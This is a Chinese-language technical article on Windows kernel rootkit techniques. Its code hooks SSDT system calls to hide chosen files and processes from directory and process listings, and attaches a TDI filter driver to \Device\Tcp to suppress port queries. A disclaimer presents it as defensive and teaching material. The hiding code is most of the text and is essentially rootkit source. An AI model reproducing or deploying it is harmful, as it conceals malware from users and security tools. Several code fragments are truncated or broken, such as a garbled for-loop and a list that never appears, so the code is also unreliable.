在 Windows 核心模式驅動程式開發中,實現對系統物件(進程、檔案、註冊表、網路埠)的隱藏是一項經典的技術課題。本文探討透過系統服務表 (SSDT) 掛鉤與 TDI (Transport Driver Interface) 過濾驅動相結合的方式,在 Ring 0 層級實現全方位的物件隱藏。文中提供的程式碼片段展示了核心資料結構定義與關鍵掛鉤邏輯,供安全研究與驅動開發學習參考。
用戶模式應用程式查詢系統資訊時,最終會呼叫內核函式:
ZwQueryDirectoryFileZwQuerySystemInformationZwQueryValueKey、ZwEnumerateValueKey 等這些函式的入口地址儲存在 SYSCALL 表 (SSDT) 中。由於 SSDT 位於核心記憶體,用戶模式不可見,修改它必須在核心模式 (Ring 0) 下透過驅動程式完成。基本思路是:
網路埠資訊查詢通常走 TDI 介面。Windows 導出 \Device\Tcp 和 \Device\Udp 兩個裝置物件。透過建立一個裝置過濾驅動,將這兩個裝置掛載到過濾裝置堆疊頂端,即可攔截所有針對 TCP/UDP 的 IRP (I/O Request Packet) 請求。在處理 IRP_MJ_DEVICE_CONTROL (具體為 IOCTL_TCP_QUERY_INFORMATION_EX) 時,過濾掉需隱藏的埠資訊,再向下傳遞 IRP。
// 目錄查詢結果項結構 (簡化)
typedef struct _DirEntry {
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwFileSizeLow, dwFileSizeHigh;
WORD wNameLen;
WCHAR suName[1]; // 變長檔名
} DirEntry, *PDirEntry;
// 系統進程資訊結構 (SystemInformationClass = 5)
struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta;
ULONG ThreadCount;
// ... 時間、記憶體、I/O 計數器 ...
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
// ... 線程陣列 ...
};
NTSTATUS HookZwQueryDirectoryFile(...) {
NTSTATUS rc = OldZwQueryDirectoryFile(...); // 先呼叫原函式
if (NT_SUCCESS(rc)) {
PDirEntry p = (PDirEntry)FileInformationBuffer, pLast = NULL;
BOOL bLastOne;
do {
bLastOne = !(p->dwLenToNext);
// 將 Unicode 檔名轉為 ANSI 大寫以便比對
RtlInitUnicodeString(&uniFileName, p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName, &uniFileName, TRUE);
RtlUpperString(&ansiFileName, &ansiFileName);
// 在隱藏列表鏈表中查找
BOOL found = FALSE;
for (ptr = list_head; ptr; ptr = ptr->next) {
if (ptr->flag == PTR_HIDEDIR &&
RtlCompareMemory(ansiFileName.Buffer, ptr->name, strlen(ptr->name)) == strlen(ptr->name)) {
found = TRUE; break;
}
}
if (found) { // 從鏈表中移除該項
if (bLastOne) {
if (p == FileInformationBuffer) rc = STATUS_NO_MORE_FILES;
else pLast->dwLenToNext = 0;
} else {
// 記憶體前移覆蓋
RtlCopyMemory(p, (char*)p + p->dwLenToNext, ...);
continue;
}
}
pLast = p;
p = (PDirEntry)((char*)p + p->dwLenToNext);
} while (!bLastOne);
RtlFreeAnsiString(&ansiFileName);
}
return rc;
}
關鍵點:目錄查詢結果以單向鏈表形式存放於緩衝區,透過 dwLenToNext 串聯。隱藏邏輯實質是「從鏈表中摘除節點」。
NTSTATUS HookZwQuerySystemInformation(...) {
NTSTATUS rc = OldZwQuerySystemInformation(...);
if (NT_SUCCESS(rc) && g_hide_proc && SystemInformationClass == 5) {
PSYSTEM_PROCESSES curr = (PSYSTEM_PROCESSES)SystemInformation, prev = NULL;
while (curr) {
// 獲取進程名 (Unicode 轉 ANSI)
// ... 遍歷隱藏進程名鏈表比對 ...
if (found) {
if (prev) {
if (curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta;
else prev->NextEntryDelta = 0;
} else {
// 隱藏第一個進程,移動緩衝區指標
if (curr->NextEntryDelta) (char*)SystemInformation += curr->NextEntryDelta;
else SystemInformation = NULL;
}
// 注意:隱藏後需重新檢查下一個進程是否也需隱藏
} else {
prev = curr;
}
if (curr->NextEntryDelta) curr = (PSYSTEM_PROCESSES)((char*)curr + curr->NextEntryDelta);
else curr = NULL;
}
}
return rc;
}
關鍵點:進程列表同樣為鏈表結構,隱藏邏輯為修改 NextEntryDelta 跳過目標節點,或調整緩衝區起始位置。
// DriverEntry 中掛載 \Device\Tcp
RtlInitUnicodeString(&TcpDeviceName, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&TcpDeviceName, FILE_ALL_ACCESS, &FileObject, &TcpDevice);
status = IoCreateDevice(DriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_UNKNOWN, 0, FALSE, &FilterDevice);
TcpgetDevice = IoAttachDeviceToDeviceStack(FilterDevice, TcpDevice);
// 註冊 Dispatch 常式
for (i=0; iMajorFunction[i] != Empty && DriverObject->MajorFunction[i] == Empty)
DriverObject->MajorFunction[i] = PassThrough;
}
// 通用傳遞/過濾常式
NTSTATUS PassThrough(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(Irp);
if (pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX) {
// 此處可進一步解析 TDI 查詢結構,過濾特定埠
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS; // 直接完成,隱藏資訊
}
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp, GenericCompletion, NULL, TRUE, TRUE, TRUE);
return IoCallDriver(m_TcpgetDevice, Irp);
}
本文技術僅供安全防禦研究、驅動開發教學及合法安全產品開發參考。 利用此類技術編寫 Rootkit、隱藏惡意軟體活動、規避安全產品檢測均屬非法行為,嚴重違反《計算機信息網絡國際聯網安全保護管理辦法》及《刑法》第二百八十五條、二百八十六條等相關法律法規。開發者應嚴格遵守網絡安全法,將技術用於合法授權的防護場景(如 EDD/Agent 自我保護、資產管理代理隱藏)。